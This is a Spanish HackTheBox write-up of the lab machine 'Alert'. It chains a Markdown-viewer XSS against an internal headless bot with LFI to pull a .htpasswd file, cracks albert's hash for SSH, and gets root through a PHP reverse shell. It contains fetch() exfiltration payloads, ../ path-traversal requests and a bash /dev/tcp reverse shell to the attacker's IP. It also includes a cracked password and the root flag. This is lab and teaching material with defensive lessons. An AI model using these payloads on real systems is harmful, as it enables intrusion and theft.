the_open_door
café
ESEN

Alert

HackTheBoxFácilLinux10.10.11.44

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#xss#markdown#lfi#path-traversal#htpasswd#hash-cracking#group-permissions#apache#linux
TL;DR. Alert es una máquina Linux fácil que encadena cliente y servidor. La web es un Markdown Viewer vulnerable a XSS: el botón de "compartir" entrega el .md a un usuario interno que lo renderiza, así que con un fetch leemos recursos a los que no llegamos y descubrimos que messages.php?file= es un LFI. Con él sacamos el .htpasswd de statistics.alert.htb, crackeamos el hash de albert y entramos por SSH. albert está en el grupo management, que puede escribir en el directorio de un monitor web que corre como root: dejar ahí un .php da shell como root.

Reconocimiento

Ping

Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que da una pista rápida del sistema operativo: valores cercanos a 64 suelen indicar Linux y cercanos a 128, Windows.

ping -c 1 10.10.11.44
64 bytes from 10.10.11.44: icmp_seq=1 ttl=63 time=37.2 ms

TTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Escaneo de puertos

Barremos los 65535 puertos TCP con un escaneo SYN (-p-), acelerado con --min-rate y sin resolución DNS ni ping (-n -Pn), para no perder ninguno; sobre los que abran, un -sCV dirigido identifica servicio y versión (dos fases: descubrir rápido, luego perfilar):

El escaneo no se teclea entero cada vez: vive en una función del ~/.zshrc llamada jmap, que pide la IP y siempre lanza el mismo barrido SYN completo, guardando además la salida en formato greppable (-oG scan) para poder procesarla después:

jmap () {
        echo -e "\n[+] Introduce una IP\n"
        read ip
        echo
        sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open $ip -oG scan
}

Es decir, un sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.44 -oG scan sin teclear la retahíla de flags:

jmap

jmap lanza el escaneo SYN completo contra 10.10.11.44 y encuentra 22/ssh y 80/http con syn-ack ttl 63

[+] Introduce una IP

10.10.11.44

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-27 14:56 CET
Initiating SYN Stealth Scan at 14:56
Scanning 10.10.11.44 [65535 ports]
Discovered open port 80/tcp on 10.10.11.44
Discovered open port 22/tcp on 10.10.11.44
Completed SYN Stealth Scan at 14:56, 15.19s elapsed (65535 total ports)
Not shown: 64767 closed tcp ports (reset), 766 filtered tcp ports (no-response)

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

El syn-ack ttl 63 de cada puerto confirma por segunda vía lo que ya apuntaba el ping. El fichero scan que deja jmap lo consume otra función del ~/.zshrc, extractPorts, que extrae la IP y la lista de puertos abiertos y, de paso, los copia al portapapeles:

extractPorts () {
        echo -e "Extracting information..."

        ip_address=$(grep -oP 'Host: \K\S+' "$1" | head -n 1)

        ports=$(grep -oP '\d+(?=/open)' "$1" | tr '\n' ',' | sed 's/,$/\n/')
        echo -e "IP Address: $ip_address"
        echo -e "Open ports: $ports\n"
        {
                echo -e "IP Address: $ip_address"
                echo -e "Open ports: $ports\n"
        } >> extractPorts.tmp
        echo "$ports" | xclip -sel clip
        echo -e "Ports copied to clipboard\n"
        cat extractPorts.tmp
        rm extractPorts.tmp
}
extractPorts scan

extractPorts resume el escaneo en dos líneas, IP 10.10.11.44 y puertos abiertos 22,80, y los copia al portapapeles

Extracting information ...
IP Address: 10.10.11.44
Open ports: 22,80

Ports copied to clipboard

IP Address: 10.10.11.44
Open ports: 22,80

Dos puertos: SSH y HTTP. La segunda fase la lanza jmap2, un envoltorio de -sCV que solo pide IP y puertos (justo lo que acaba de quedar en el portapapeles):

jmap2 () {

        if [ "$#" -ne 2 ]
        then
                echo "Uso: jmap2 <ip> <ports>"
                return 1
        fi

        local ip="$1"
        local puertos="$2"
        nmap -p"$puertos" -sCV "$ip"

}
jmap2 10.10.11.44 22,80

nmap -sCV: OpenSSH 8.2p1, Apache 2.4.41 y la redirección a alert.htb

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
|   256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_  256 2b:af:cd:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://alert.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Un Ubuntu 20.04 corriente (OpenSSH 8.2p1 y Apache 2.4.41 son sus versiones de repositorio), sin nada explotable por versión. Lo aprovechable es el http-title: el servidor no sirve contenido en la IP, redirige a http://alert.htb/, así que hay que añadir el dominio al /etc/hosts para ver el sitio real.

sudo nano /etc/hosts

el /etc/hosts con la línea 10.10.11.44 alert.htb añadida bajo la de yummy.htb

127.0.0.1       localhost
127.0.1.1       kali
10.10.11.36     yummy.htb
10.10.11.44     alert.htb

Ya con el vhost resuelto, whatweb identifica un Apache sirviendo el sitio:

whatweb http://alert.htb

whatweb identifica Apache en alert.htb

http://alert.htb [302 Found] Apache[2.4.41], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.44], RedirectLocation[index.php?page=alert], Title[Alert - Markdown Viewer]
http://alert.htb/index.php?page=alert [200 OK] Apache[2.4.41], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], Title[Alert - Markdown Viewer]

Subdominios y rutas

El fuzzing por vhost descubre statistics.alert.htb, que responde 401 Unauthorized (autenticación básica de Apache): habrá que conseguir credenciales para él.

gobuster vhost -u http://alert.htb -w directory-list-2.3-medium.txt --append-domain | grep -v 301

gobuster vhost descubre statistics.alert.htb, que pide autenticación (401)

Found: statistics.alert.htb Status: 401 [Size: 467]

El hallazgo se contrasta con wfuzz, que hace lo mismo por la cabecera Host y filtra por código de estado en vez de por tamaño:

wfuzz -u http://alert.htb -H "Host: FUZZ.alert.htb" -w directory-list-2.3-medium.txt --hc=301,400 -t 200

wfuzz encuentra el mismo subdominio statistics con un 401 entre 220560 peticiones

Target: http://alert.htb/
Total requests: 220560

ID           Response   Lines    Word     Chars    Payload
000000952:   401        14 L     54 W     467 Ch   "statistics"

Dos herramientas distintas, el mismo 401: el subdominio existe y guarda algo detrás de una autenticación.

Sobre el dominio principal, dirsearch da la primera foto del árbol de la aplicación:

dirsearch -u http://alert.htb --exclude-status=404,403

dirsearch encuentra contact.php, css, messages y uploads en alert.htb

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://alert.htb/

[15:07:46] 200 -    24B  - /contact.php
[15:07:47] 301 -   304B  - /css  ->  http://alert.htb/css/
[15:08:08] 301 -   309B  - /messages  ->  http://alert.htb/messages/
[15:08:32] 301 -   308B  - /uploads  ->  http://alert.htb/uploads/

Conviene anotar /messages/: es un directorio, y más adelante será el primer sitio al que apuntemos con el XSS (y el primero que nos cierre la puerta).

Un fuzzing de directorios sobre alert.htb saca dos recursos PHP, index.php y messages.php:

gobuster dir -u http://alert.htb -w directory-list-2.3-medium.txt -b 404,403 -x php

gobuster dir descubre messages.php e index.php

/contact.php          (Status: 200) [Size: 24]
/uploads              (Status: 301) [Size: 308] [--> http://alert.htb/uploads/]
/index.php            (Status: 302) [Size: 660] [--> index.php?page=alert]
/messages.php         (Status: 200) [Size: 1]

XSS en el Markdown Viewer

El servicio y la prueba de XSS

alert.htb es un Markdown Viewer: sube ficheros .md y los renderiza. Renderizar Markdown de un desconocido sin sanear el HTML resultante es la receta de un XSS. Lo confirmamos con un clásico que dispara JavaScript sin necesidad de <script>:

echo "<img src='0' onerror='alert(\"xss\")'>" > xss.md
cat xss.md

el xss.md creado con echo y verificado con cat contiene la etiqueta img con onerror

<img src='0' onerror='alert("xss")'>

El .md contiene un <img> con un src inválido: el navegador falla al cargarlo y ejecuta el onerror. Lo subimos por el formulario "View Markdown" del visor:

el Markdown Viewer permite subir y renderizar ficheros .md

el fichero xss.md seleccionado en el formulario, listo para pulsar View Markdown

el payload &lt;img onerror&gt; ejecuta JavaScript: el alert de XSS salta en visualizer.php

Compartir el Markdown a un usuario interno

El visor tiene un botón "Share Markdown" que genera un enlace (visualizer.php?link_share=...). Si hay forma de compartir un enlace, probablemente haya alguien que lo abra. Y lo hay: el formulario Contact Us acepta mensajes. La hipótesis es que un usuario (o un bot) revisa esos mensajes y, al hacerlo, renderiza nuestro Markdown.

el botón Share Markdown en la esquina inferior derecha de visualizer.php

el enlace generado, visualizer.php?link_share=677034ac4d32d0.41743192.md, vuelve a disparar el alert de xss al abrirlo

Ese enlace es la pieza clave: el .md malicioso ya no depende de nuestra sesión, cualquiera que lo abra ejecuta el JavaScript.

Para comprobarlo montamos un .md que haga un fetch a un recurso de nuestra máquina. Si ese recurso se pide, es que alguien ha abierto el enlace:

echo exploit > exploit
echo "<script>fetch('http://10.10.15.39/exploit')</script>" > xss.md
cat xss.md

se crea el fichero exploit y un xss.md que hace fetch a http://10.10.15.39/exploit

<script>fetch('http://10.10.15.39/exploit')</script>

Se sube al visor y se genera su enlace con Share Markdown:

el enlace generado para el nuevo .md, visualizer.php?link_share=67703a4417de51.90184311.md, devuelve Error: Invalid file. al abrirlo nosotros

Que a nosotros nos responda Error: Invalid file. da igual: el objetivo no es verlo nosotros, sino que lo abra quien revisa los mensajes. Antes de enviarlo hay que levantar el servidor HTTP que haga accesible el recurso exploit al que apunta el fetch:

python3 -m http.server 80

el servidor HTTP del atacante escuchando en el puerto 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Ahora sí, el enlace se pega en el cuerpo del formulario Contact Us y se envía:

el formulario Contact Us relleno con test@test.com y el enlace del Markdown compartido en el cuerpo

Con el servidor HTTP a la escucha, recibimos la petición desde la IP de la víctima: el XSS ciego funciona.

el servidor del atacante recibe un GET /exploit desde 10.10.11.44, confirmando el XSS

10.10.11.44 - - [28/Dec/2024 18:54:26] "GET /exploit HTTP/1.1" 200 -

LFI a través del XSS

Descartar el robo de sesión

Con un XSS confirmado, el reflejo es robar la cookie de sesión del usuario que abre el mensaje. Aquí no hay nada que robar: el almacenamiento del sitio para http://alert.htb está vacío, sin cookies de sesión ni tokens.

el panel de almacenamiento del navegador no muestra ninguna cookie para alert.htb

Eso descarta la vía cómoda y obliga a cambiar de enfoque: si no podemos suplantar al usuario, usaremos su navegador como proxy para leer lo que él sí alcanza y reenviárnoslo.

messages.php?file=

El primer intento apunta a /messages/, y falla: el bot nos devuelve un 403 Forbidden de Apache.

<script>
fetch("http://alert.htb/messages/")
  .then(r => r.text())
  .then(d => fetch("http://10.10.15.39:4444/", { method:"POST", body:d }));
</script>
POST / HTTP/1.1
Host: 10.10.15.39:4444
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.111 Safari/537.36
Origin: http://alert.htb
Referer: http://alert.htb/

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at alert.htb Port 80</address>
</body></html>

el listener recibe el 403 Forbidden reenviado por el bot HeadlessChrome

El intento no sirve para leer el directorio, pero confirma dos cosas importantes. La primera, que quien abre los mensajes es un navegador headless real (HeadlessChrome/122.0.6261.111), no un simple curl: por eso se ejecuta nuestro JavaScript. La segunda, que la exfiltración por POST funciona de vuelta, así que el canal es bueno aunque el recurso elegido no lo fuera.

Cambiando el objetivo al fichero messages.php en vez del directorio, la respuesta ya trae algo: acepta un parámetro file, candidato a LFI:

<script>
fetch("http://alert.htb/messages.php")
  .then(r => r.text())
  .then(d => fetch("http://10.10.15.39:4444/", { method:"POST", body:d }));
</script>

Esta vez el receptor no es un servidor HTTP sino un nc en el 4444, que enseña la petición POST entera:

nc -nlvp 4444

el listener nc a la espera en el puerto 4444 antes de enviar el enlace

listening on [any] 4444 ...

el POST del bot trae el HTML de messages.php, que enlaza a messages.php?file=2024-03-10_15-48-34.txt

connect to [10.10.15.39] from (UNKNOWN) [10.10.11.44] 42170
POST / HTTP/1.1
Host: 10.10.15.39:4444
Content-Length: 115
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.111 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Origin: http://alert.htb
Referer: http://alert.htb/

<h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul>

El propio HTML enseña cómo se usa el fichero: un enlace messages.php?file=<nombre>. Ese parámetro es el candidato a LFI.

Leer la configuración de Apache y el .htpasswd

Apuntando file con ../ a la configuración por defecto de Apache confirmamos el LFI y, sobre todo, vemos dónde vive la contraseña del subdominio protegido:

fetch("http://alert.htb/messages.php?file=../../../../../../etc/apache2/sites-enabled/000-default.conf")

Se repite el ciclo entero: nuevo .md, nuevo enlace y otro mensaje por el formulario.

el nuevo enlace generado, visualizer.php?link_share=677047d9a884d8.58350902.md

el formulario Contact Us confirma Message sent successfully! con el enlace en el cuerpo

el listener recibe el 000-default.conf completo, con los dos VirtualHost y la línea AuthUserFile resaltada

<pre><VirtualHost *:80>
    ServerName alert.htb

    DocumentRoot /var/www/alert.htb

    <Directory /var/www/alert.htb>
        Options FollowSymLinks MultiViews
        AllowOverride All
    </Directory>

    RewriteEngine On
    RewriteCond %{HTTP_HOST} !^alert\.htb$
    RewriteCond %{HTTP_HOST} !^$
    RewriteRule ^/?(.*)$ http://alert.htb/$1 [R=301,L]

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:80>
    ServerName statistics.alert.htb

    DocumentRoot /var/www/statistics.alert.htb

    <Directory /var/www/statistics.alert.htb>
        Options FollowSymLinks MultiViews
        AllowOverride All
    </Directory>

    <Directory /var/www/statistics.alert.htb>
        Options Indexes FollowSymLinks MultiViews
        AllowOverride All
        AuthType Basic
        AuthName "Restricted Area"
        AuthUserFile /var/www/statistics.alert.htb/.htpasswd
        Require valid-user
    </Directory>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
</pre>

De paso queda explicado el RewriteRule que redirigía la IP a alert.htb en el escaneo inicial.

La configuración de statistics.alert.htb usa /var/www/statistics.alert.htb/.htpasswd. Repetimos el LFI apuntando a ese fichero y exfiltramos su contenido:

fetch("http://alert.htb/messages.php?file=../../../../../../var/www/statistics.alert.htb/.htpasswd")
  .then(r => r.text())
  .then(d => fetch("http://10.10.15.39:4444/?data=" + encodeURIComponent(d)));

el .htpasswd exfiltrado contiene el hash Apache MD5 del usuario albert

El contenido llega URL-encodeado, porque lo mandamos como parámetro de query con encodeURIComponent. Se revierte con un sed que convierte los %XX en escapes hexadecimales y un printf "%b" que los interpreta:

echo '%3Cpre%3Ealbert%3A%24apr1%24bMoRBJOg%24igG8WBtQ1xYDTQdLjSWZQ%2F%0A%3C%2Fpre%3E%0A' \
  | sed 's/+/ /g; s/%/\\x/g' | xargs -0 printf "%b"

el hash URL-decodificado con sed y printf

Ya en claro, el .htpasswd contiene el hash de albert (formato Apache MD5, $apr1$):

albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/

Shell como albert

Crackear el hash

john con rockyou y el formato md5crypt-long revienta el hash:

john --format=md5crypt-long --wordlist=rockyou.txt hash

john crackea el hash de albert y devuelve manchesterunited

Loaded 1 password hash (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (?)
1g 0:00:00:00 DONE (2024-12-27 19:17) 11.11g/s ...
Session completed.

La contraseña es manchesterunited, y esta vez sí abre SSH:

ssh albert@alert.htb   # manchesterunited

acceso por SSH como albert con la contraseña recuperada

albert@10.10.11.44's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-200-generic x86_64)
...
Last login: Sat Dec 28 23:16:40 2024 from 10.10.14.151
albert@alert:~$

Shell como root

El grupo management

id muestra que albert pertenece al grupo management, lo que sugiere acceso a recursos compartidos:

id

id muestra que albert está en el grupo management

uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)

Buscamos qué pertenece a ese grupo:

find / -group management 2>/dev/null

find devuelve el directorio config de un monitor web y sus tres ficheros

/opt/website-monitor/config
/opt/website-monitor/config/configuration.php
/opt/website-monitor/config/mali.php
/opt/website-monitor/config/configuration.php.save

Aparecen ficheros de un monitor web en /opt/website-monitor. La lista sola no dice de quién es cada uno, y hacer un ls -l ruta por ruta es tedioso, así que se envuelve el find en un bucle:

for f in $(find / -group management 2>/dev/null); do ls -l "$f"; done

el bucle aplica ls -l a cada resultado del find y deja ver que configuration.php es de root y del grupo management

total 16
-rwxrwxr-x 1 root   management   49 Dec 29 02:13 configuration.php
-rwxrwxr-x 1 albert management   76 Dec 28 23:40 configuration.php.save
-rwxrwxr-x 1 albert management 5494 Dec 28 23:18 mali.php
-rwxrwxr-x 1 root   management   49 Dec 29 02:13 /opt/website-monitor/config/configuration.php
-rwxrwxr-x 1 albert management 5494 Dec 28 23:18 /opt/website-monitor/config/mali.php
-rwxrwxr-x 1 albert management   76 Dec 28 23:40 /opt/website-monitor/config/configuration.php.save

El primer bloque de tres líneas es el ls -l del propio directorio config, que también sale en la lista del find; las tres siguientes son cada fichero por su ruta completa. La misma información se obtiene volcando el listado a un fichero y leyéndolo con while read:

file=$(find / -group management 2>/dev/null); while read -r file; do ls -l "$file"; done < file

la variante con while read devuelve exactamente el mismo listado

total 16
-rwxrwxr-x 1 root   management   49 Dec 29 02:15 configuration.php
-rwxrwxr-x 1 albert management   76 Dec 28 23:40 configuration.php.save
-rwxrwxr-x 1 albert management 5494 Dec 28 23:18 mali.php
-rwxrwxr-x 1 root   management   49 Dec 29 02:15 /opt/website-monitor/config/configuration.php
-rwxrwxr-x 1 albert management 5494 Dec 28 23:18 /opt/website-monitor/config/mali.php
-rwxrwxr-x 1 albert management   76 Dec 28 23:40 /opt/website-monitor/config/configuration.php.save

De los tres ficheros, el interesante es config/configuration.php: propiedad de root pero del grupo management, al que pertenecemos.

Directorio escribible por grupo + servicio root

Antes de tocar configuration.php conviene ver qué tiene dentro:

cat /opt/website-monitor/config/configuration.php

el contenido de configuration.php: una única constante PATH apuntando a /opt/website-monitor

<?php
define('PATH', '/opt/website-monitor');
?>

Son 49 bytes de PHP, propiedad de root pero escribibles por el grupo, así que lo evidente es inyectarle código. Y no funciona: al escribir en él y volver a leerlo, reaparece el contenido original.

escribir en configuration.php no persiste: el fichero vuelve a su contenido original

albert@alert:~$ echo 'ejemplo' > /opt/website-monitor/config/configuration.php
albert@alert:~$ cat /opt/website-monitor/config/configuration.php
<?php
define('PATH', '/opt/website-monitor');
?>

Hay un proceso que lo restaura, así que ese fichero concreto es un callejón sin salida. La pista está un nivel más arriba: mirando el directorio padre, config/ es drwxrwxr-x root management, es decir, propiedad de root pero escribible por el grupo management al que pertenecemos.

ls -l de /opt/website-monitor: el directorio config es root:management y escribible por grupo

albert@alert:~$ ls -l /opt/website-monitor/
drwxrwxr-x 2 root management  4096 Dec 29 02:45 config
drwxrwxr-x 2 root root        4096 Oct 12 00:58 incidents
-rwxrwxr-x 1 root root        5323 Oct 12 01:00 index.php
-rwxrwxr-x 1 root root        1068 Oct 12 00:58 LICENSE
-rwxrwxr-x 1 root root        1452 Oct 12 01:00 monitor.php
drwxrwxrwx 2 root root        4096 Oct 12 01:07 monitors
-rwxrwxr-x 1 root root         104 Oct 12 01:07 monitors.json
-rwxrwxr-x 1 root root       40849 Oct 12 00:58 Parsedown.php
-rwxrwxr-x 1 root root        1657 Oct 12 00:58 README.md
-rwxrwxr-x 1 root root        1918 Oct 12 00:58 style.css
drwxrwxr-x 2 root root        4096 Oct 12 00:58 updates

Todo lo demás pertenece a root:root; config es la única entrada del grupo management.

Ese es el matiz que rompe la máquina: da igual que el fichero esté protegido y se restaure, porque poder escribir en el directorio permite crear ficheros nuevos, y el monitor web los sirve como root. Es un directorio escribible por grupo en un servicio root: en vez de pelearnos con configuration.php, dejamos al lado un .php nuevo con una reverse shell.

Antes de disparar la shell, dejamos un nc a la escucha:

nc -nlvp 4444

el listener nc esperando en el puerto 4444 antes de pedir el revshell.php

listening on [any] 4444 ...
echo "<?php exec(\"/bin/bash -c 'bash -i >/dev/tcp/10.10.15.39/4444 0>&1'\"); ?>" \
  > /opt/website-monitor/config/revshell.php

se crea revshell.php dentro del directorio config del monitor

albert@alert:~$ cat /opt/website-monitor/config/revshell.php
<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.15.39/4444 0>&1'"); ?>
albert@alert:~$ ls -l /opt/website-monitor/config/revshell.php
-rwxrwxr-x 1 albert management 73 Dec 29 02:45 /opt/website-monitor/config/revshell.php

Falta saber por dónde se sirve el monitor. netstat lo sitúa en el 8080, escuchando solo en loopback:

netstat -tuln

netstat -tuln muestra el servicio en 127.0.0.1:8080, solo accesible desde la propia máquina

Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN
tcp6       0      0 :::80                   :::*                    LISTEN

Que esté atado a 127.0.0.1 explica por qué no salió en el escaneo inicial y por qué el curl hay que lanzarlo desde dentro de la máquina, ya con la sesión de albert. Con nc a la escucha en el 4444, pedimos nuestro .php para que el monitor (root) lo ejecute:

nc -nlvp 4444
curl http://127.0.0.1:8080/config/revshell.php

curl al revshell.php dispara la ejecución como root

albert@alert:~$ curl http://127.0.0.1:8080/config/revshell.php

El curl se queda colgado (el exec del PHP bloquea la respuesta) mientras el website-monitor, que corre como root, ejecuta nuestro revshell.php y conecta de vuelta al listener:

la reverse shell llega como root; leemos root.txt

listening on [any] 4444 ...
connect to [10.10.15.39] from (UNKNOWN) [10.10.11.44] 44438
whoami
root
script /dev/null -c bash
Script started, file is /dev/null
root@alert:/opt/website-monitor/config# cd
root@alert:~# ls
root.txt  scripts
root@alert:~# cat root.txt
a020edcc2c610cf3030013f285fc3486

La shell llega en el directorio config, desde donde el monitor cargó el .php. Un script /dev/null -c bash la vuelve interactiva y root.txt queda a un cat de distancia:

la pantalla de HackTheBox confirmando que Alert ha sido comprometida

Cadena de ataque

web :80 (Apache)  →  alert.htb  →  Markdown Viewer (XSS) + messages.php
   │  Share Markdown  →  Contact Us  →  bot HeadlessChrome renderiza el .md
   ▼
XSS ciego  →  fetch interno  →  messages.php?file=  (LFI)
   │  000-default.conf  →  ruta del .htpasswd  →  exfiltrar .htpasswd
   ▼
albert:$apr1$...  →  john (md5crypt)  →  manchesterunited  →  SSH
   │  id  →  grupo management  →  /opt/website-monitor/config (escribible)
   ▼
revshell.php + curl 127.0.0.1:8080  →  servicio root  →  root (root.txt)

Lecciones aprendidas

  • Renderizar Markdown ajeno es ejecutar HTML ajeno. Sin sanear la salida, el visor permitía XSS; y como un bot abría los mensajes, ese XSS era un navegador prestado dentro de la red. Escapar el HTML y aplicar una CSP estricta.
  • Un XSS no necesita robar cookies para hacer daño. Aquí no había sesión que robar; bastó usar el fetch del bot para leer un recurso interno y descubrir un LFI.
  • Un .htpasswd es una contraseña a un john de distancia. El hash Apache MD5 de albert cayó con rockyou. Contraseñas robustas también en la autenticación básica.
  • Cuidado con los directorios escribibles por grupo que carga un servicio root. El fichero estaba protegido, pero el directorio no: crear un .php ahí dio ejecución como root. Los directorios servidos por procesos privilegiados no deben ser escribibles por grupos de usuarios.
Cheatsheet de comandos 20 comandos

Repaso rápido